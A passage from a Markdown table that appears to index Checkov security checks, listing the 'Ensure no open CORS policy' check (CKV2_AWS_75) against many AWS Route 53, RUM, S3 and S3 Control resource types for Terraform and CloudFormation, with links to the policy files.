[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4741 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_cluster                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4742 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_cluster                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4743 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_control_panel                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4744 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_control_panel                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4745 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_routing_control                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4746 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_routing_control                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4747 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_safety_rule                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4748 | CKV2_AWS_75              | resource                         | aws_route53recoverycontrolconfig_safety_rule                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4749 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_cell                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4750 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_cell                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4751 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_readiness_check                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4752 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_readiness_check                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4753 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_recovery_group                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4754 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_recovery_group                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4755 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_resource_set                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4756 | CKV2_AWS_75              | resource                         | aws_route53recoveryreadiness_resource_set                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4757 | CKV2_AWS_75              | resource                         | aws_route_table                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4758 | CKV2_AWS_75              | resource                         | aws_route_table                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4759 | CKV2_AWS_75              | resource                         | aws_route_table_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4760 | CKV2_AWS_75              | resource                         | aws_route_table_association                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4761 | CKV2_AWS_75              | resource                         | aws_rum_app_monitor                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4762 | CKV2_AWS_75              | resource                         | aws_rum_app_monitor                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4763 | CKV2_AWS_75              | resource                         | aws_rum_metrics_destination                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4764 | CKV2_AWS_75              | resource                         | aws_rum_metrics_destination                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4765 | CKV2_AWS_75              | resource                         | aws_s3_access_point                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4766 | CKV2_AWS_75              | resource                         | aws_s3_access_point                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4767 | CKV2_AWS_75              | resource                         | aws_s3_account_public_access_block                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4768 | CKV2_AWS_75              | resource                         | aws_s3_account_public_access_block                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4769 | CKV2_AWS_75              | resource                         | aws_s3_bucket                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4770 | CKV2_AWS_75              | resource                         | aws_s3_bucket                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4771 | CKV2_AWS_75              | resource                         | aws_s3_bucket_accelerate_configuration                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4772 | CKV2_AWS_75              | resource                         | aws_s3_bucket_accelerate_configuration                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4773 | CKV2_AWS_75              | resource                         | aws_s3_bucket_acl                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4774 | CKV2_AWS_75              | resource                         | aws_s3_bucket_acl                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4775 | CKV2_AWS_75              | resource                         | aws_s3_bucket_analytics_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4776 | CKV2_AWS_75              | resource                         | aws_s3_bucket_analytics_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4777 | CKV2_AWS_75              | resource                         | aws_s3_bucket_cors_configuration                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4778 | CKV2_AWS_75              | resource                         | aws_s3_bucket_cors_configuration                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4779 | CKV2_AWS_75              | resource                         | aws_s3_bucket_intelligent_tiering_configuration                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4780 | CKV2_AWS_75              | resource                         | aws_s3_bucket_intelligent_tiering_configuration                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4781 | CKV2_AWS_75              | resource                         | aws_s3_bucket_inventory                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4782 | CKV2_AWS_75              | resource                         | aws_s3_bucket_inventory                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4783 | CKV2_AWS_75              | resource                         | aws_s3_bucket_lifecycle_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4784 | CKV2_AWS_75              | resource                         | aws_s3_bucket_lifecycle_configuration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4785 | CKV2_AWS_75              | resource                         | aws_s3_bucket_logging                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4786 | CKV2_AWS_75              | resource                         | aws_s3_bucket_logging                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4787 | CKV2_AWS_75              | resource                         | aws_s3_bucket_metric                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4788 | CKV2_AWS_75              | resource                         | aws_s3_bucket_metric                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4789 | CKV2_AWS_75              | resource                         | aws_s3_bucket_notification                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4790 | CKV2_AWS_75              | resource                         | aws_s3_bucket_notification                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4791 | CKV2_AWS_75              | resource                         | aws_s3_bucket_object                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4792 | CKV2_AWS_75              | resource                         | aws_s3_bucket_object                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4793 | CKV2_AWS_75              | resource                         | aws_s3_bucket_object_lock_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4794 | CKV2_AWS_75              | resource                         | aws_s3_bucket_object_lock_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4795 | CKV2_AWS_75              | resource                         | aws_s3_bucket_ownership_controls                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4796 | CKV2_AWS_75              | resource                         | aws_s3_bucket_ownership_controls                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4797 | CKV2_AWS_75              | resource                         | aws_s3_bucket_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4798 | CKV2_AWS_75              | resource                         | aws_s3_bucket_policy                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4799 | CKV2_AWS_75              | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4800 | CKV2_AWS_75              | resource                         | aws_s3_bucket_public_access_block                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4801 | CKV2_AWS_75              | resource                         | aws_s3_bucket_replication_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4802 | CKV2_AWS_75              | resource                         | aws_s3_bucket_replication_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4803 | CKV2_AWS_75              | resource                         | aws_s3_bucket_request_payment_configuration                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4804 | CKV2_AWS_75              | resource                         | aws_s3_bucket_request_payment_configuration                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4805 | CKV2_AWS_75              | resource                         | aws_s3_bucket_server_side_encryption_configuration                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4806 | CKV2_AWS_75              | resource                         | aws_s3_bucket_server_side_encryption_configuration                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4807 | CKV2_AWS_75              | resource                         | aws_s3_bucket_versioning                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4808 | CKV2_AWS_75              | resource                         | aws_s3_bucket_versioning                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4809 | CKV2_AWS_75              | resource                         | aws_s3_bucket_website_configuration                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4810 | CKV2_AWS_75              | resource                         | aws_s3_bucket_website_configuration                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4811 | CKV2_AWS_75              | resource                         | aws_s3_directory_bucket                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4812 | CKV2_AWS_75              | resource                         | aws_s3_directory_bucket                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4813 | CKV2_AWS_75              | resource                         | aws_s3_object                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4814 | CKV2_AWS_75              | resource                         | aws_s3_object                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4815 | CKV2_AWS_75              | resource                         | aws_s3_object_copy                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4816 | CKV2_AWS_75              | resource                         | aws_s3_object_copy                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4817 | CKV2_AWS_75              | resource                         | aws_s3control_access_grant                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4818 | CKV2_AWS_75              | resource                         | aws_s3control_access_grant                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4819 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_instance                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4820 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_instance                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4821 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_instance_resource_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4822 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_instance_resource_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4823 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_location                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4824 | CKV2_AWS_75              | resource                         | aws_s3control_access_grants_location                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4825 | CKV2_AWS_75              | resource                         | aws_s3control_access_point_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4826 | CKV2_AWS_75              | resource                         | aws_s3control_access_point_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4827 | CKV2_AWS_75              | resource                         | aws_s3control_bucket                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4828 | CKV2_AWS_75              | resource                         | aws_s3control_bucket                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4829 | CKV2_AWS_75              | resource                         | aws_s3control_bucket_lifecycle_configuration                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4830 | CKV2_AWS_75              | resource                         | aws_s3control_bucket_lifecycle_configuration                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4831 | CKV2_AWS_75              | resource                         | aws_s3control_bucket_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4832 | CKV2_AWS_75              | resource                         | aws_s3control_bucket_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 